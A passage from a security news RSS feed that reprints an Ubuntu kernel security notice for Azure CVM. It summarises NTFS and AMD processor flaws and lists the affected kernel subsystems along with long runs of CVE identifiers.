CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8610-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:33 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206,
CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43218,
CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227,
CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43380,
CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43484, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45873,
CVE-2026-45875, CVE-2026-45879, CVE-2026-45883, CVE-2026-45885,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45911, CVE-2026-45912, CVE-2026-45915,
CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924,
CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946,
CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978,
CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004,
CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018,
CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062,
CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172,
CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46249,
CVE-2026-46250, CVE-2026-46253, CVE-2026-46259, CVE-2026-46267,
CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275,
CVE-2026-46285, CVE-2026-46294, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46307, CVE-2026-46319, CVE-2026-46328,
CVE-2026-52911, CVE-2026-52912, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921,
CVE-2026-52922, CVE-2026-52925, CVE-2026-52926, CVE-2026-52931,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
